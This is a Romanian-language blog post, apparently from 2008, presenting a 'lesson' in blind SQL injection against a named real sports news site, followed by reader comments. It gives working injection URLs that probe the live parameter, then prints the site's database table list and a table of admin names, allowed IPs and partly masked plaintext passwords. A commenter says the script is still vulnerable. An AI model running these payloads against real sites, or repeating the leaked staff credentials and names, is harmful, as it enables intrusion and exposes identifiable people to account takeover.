Loading....
Loading....

    Posted by unu in English News

    Posted on December 9th, 2008

    Avem adresa http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134&ajax=1 . Testam daca parametrul camp_id este vulnerabil la blind sql inection, sau nu. Testul, cum orice in viatza se bazeaza pe conceptul adevar si fals. In cazul nostru, sa vedem ce “raspunde” serverul la un adevar evindent (and 1=1)
    http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134+and+1=1&ajax=1 Raspunsul este “adevarat” , adica se incarca pagina originala. Acum “intrebam” ceva fals (and 1=2)
    http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134+and+1=2&ajax=1 Raspunsul este “fals”, nu se mai incarca pagina originala, deci serverul este “vorbaretz” si vulnerabil la blind sql injection.
    Acum sa aflam versiunea mysql. http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134+and+substring(@@version,1,1)=4&ajax=1
    e fals, deci nu e mysql 4.Incercam 5 :
    http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134+and+substring(@@version,1,1)=5&ajax=1
    True, deci este mysql 5. Pentru a putea extrage date cel mai important este ca functia SELECT sa lucreze.Testam:
    http://www.gsp.ro/index.php?section=ajax&screen=live_etapa&camp_id=134+and+(select+1)=1&ajax=1 .Select-ul lucreaza.
    (in curand urmeaza partea 2-a tutorialului, pe alt site …sau tot pe gsp ? –alt parametru vulnerabil— cine stie)
    Pana atunci va prezint o parte din datele extrase:
    Database: gsp_cms
    | adm_actions
    | adm_module
    | adm_perm
    | adm_role
    | adm_users
    | agenda
    | articole
    | articole_atasate
    | articole_autori
    | articole_linkuri
    | articole_propune_banner
    | articole_voturi
    | autori
    | banner
    | bursa_echipe
    | bursa_items
    | casete
    | casete_engine
    | casete_layout_zone
    | casete_zone
    | categorii
    | comentarii
    | comentarii_per_articole
    | comp_campionat
    | comp_campionat_echipa
    | comp_echipe
    | comp_etape
    | comp_evenimente
    | comp_jucatori
    | comp_meciuri
    | comp_meciuri_jucatori
    | comp_sezoane
    | comp_sport
    | comp_transferuri
    | concurs_dvd
    | concurs_epson
    | concurs_fault
    | concurs_ing_intrebari
    | concurs_ing_jucatori
    | concurs_usb
    | container
    | countries
    | download
    | echipe_atasate
    | editii
    | emoteicons
    | euro2008_flash
    | forum_bann
    | forum_words
    | homepage
    | horoscop
    | horoscop_sportivi
    | horoscop_zodii
    | imagini
    | imagini_newsletter
    | integers
    | jo_xml
    | log_meciuri_sms
    | log_search
    | log_search_no_duplicates
    | newsletter
    | newsletter_add
    | newsletter_pozitii
    | newsletter_v2
    | old_tipuri_eveniment
    | poll
    | rss
    | rss_categories
    | rss_images
    | rss_rezultat
    | seo_info
    | seo_keywords
    | seo_links
    | stiri_meci
    | t
    | tag_obiecte
    | tag_obiecte_old
    | tag_words
    | test_articole
    | test_utf
    | tipuri_eveniment
    | top_search
    | valute
    | vars
    | voturi

    Tabelul: adm_users (cu numele si parolele adminilor – cum altfel decat in text clar)

    +——-+———————————————-+———+————+—-+——-+——————–
    | admin | allowed_ip | blogger | data | id | mesaj | name | nume_forum | online | pass |
    +——-+———————————————-+———+————+—-+——-+——————–
    | 0 | 82.76.228.64;85.186.228.232;*.*.*.*;…;… | 0 | 1130779905 | 3 | NULL | adi.nitulescu | cataa | 1 | gsXXXX |
    | 0 | 82.76.228.64;82.76.41.225;85.186.228.232;… | 0 | NULL | 4 | NULL | alexandru.carstea | razvan | 0 | /runXXX/ |
    | 0 | 82.76.228.64;85.186.228.232;192.168.0.12 | 0 | NULL | 24 | NULL | alexandru.ghiurcau | iulian | 0 | comXXXXX |
    | 0 | *.*.*.*;… | 0 | NULL | 48 | NULL | alina.mihaela | tudor | 0 | tigXXXX |
    | 0 | *.*.*.*; …;…;…;… | 0 | NULL | 49 | NULL | andreea.moldoveanu | cms_test | 0 | paXXXX |
    | 0 | *.*.*.*;…;… | 0 | NULL | 50 | NULL | andrei.craitoiu | cms_simple | 0 | paXXXX |
    | 0 | *.*.*.* | 0 | NULL | 52 | NULL | anne.barbu | cji | 0 | cjXXX |
    | 0 | *.*.*.*;… | 0 | NULL | 53 | NULL | antonio.robitu | sorin | 0 | admiXXXX |
    | 0 | *.*.*.*;… | 0 | NULL | 54 | NULL | beatrice |
    masi | 0 | @maXXXX |
    | 0 | *.*.*.*;… | 0 | NULL | 55 | NULL | bogdan.luca | Cristi Roman | 0 | papaXXXX |
    | 0 | *.*.*.*;… | 0 | NULL | 58 | NULL | cata | stefan horobet | 0 | ursXXXX |
    | 0 | *.*.*.* | 0 | NULL | 59 | NULL | cji | marius comper | 0 | haiXXXX |

    Related Posts

    10 Responses to “Lectie de blind Sql injection … material didactic: site-ul gsp.ro”

    1. Matei O. Says:

      mie nu-mi merge :|

    2. Shocker Says:

      Ce sa nu mearga? Inca e vulnerabil scriptul respectiv…

    3. kenpachi Says:

      nu ii merge in sensul ca el nu vede outpot. evident ca nu vezi, d’aia se numeste BLIND sql injection dooo.

    4. Gigi Says:

      Oricine poate sa faca ce faceti voi. Nu e nimic special. http://www.milw0rm.com/papers/202
      E usor sa spargi, e greu sa faci.

    5. kenpachi Says:

      si sa comentezi la descoperirile altora e usor sa faci. nu e nimic special. e usor sa dai cu gura, greu sa faci ce facem noi.

    6. Gigi Says:

      Intr-adevar foarte greu, te ajuti de sqlmap (automatic SQL injection tool) si urmezi pasii din tutorial :)

    7. unu Says:

      vad ca esti profesor bun, da-le lectii te rog celor de la gsp, sau care au site-uri vulnerabile, nu noua…noi stim sa folosim si sqlmap-ul, am citit si tutorialul respectiv, stim inclusiv sa si securizam un parametru sa nu fie vulnerabil la sql injection…in rest toate cele bune

    8. Shocker Says:

      Gigi, te invit sa citesti disclaimer-ul nostru de la sectiunea ABOUT: http://hackersblog.org/about/

      Daca ai fi baiat cu cap, dupa ce ai citi pagina aia ti-ai retrage cuvintele si ai intelege ce se intampla aici defapt.

    9. Gigi Says:

      Tocmai de aceea am pus si eu linkul catre acel tutorial sa vada lumea cat de simplu este in realitate sa faci un sql injection si sa poata lua masuri in consecinta. In rest numai de bine.

    10. Shocker Says:

      Nu a zis nimeni ca ar fi greu sau usor, nu asta e ideea… si totodata pe blogul acesta nu se vorbeste doar despre sqli. Casca ochii mai bine si revizuieste-ti replicile inainte sa le dai frau liber aici sub forma de proteste sau mai stiu eu ce balarii ai tu in cap.

    Leave a Reply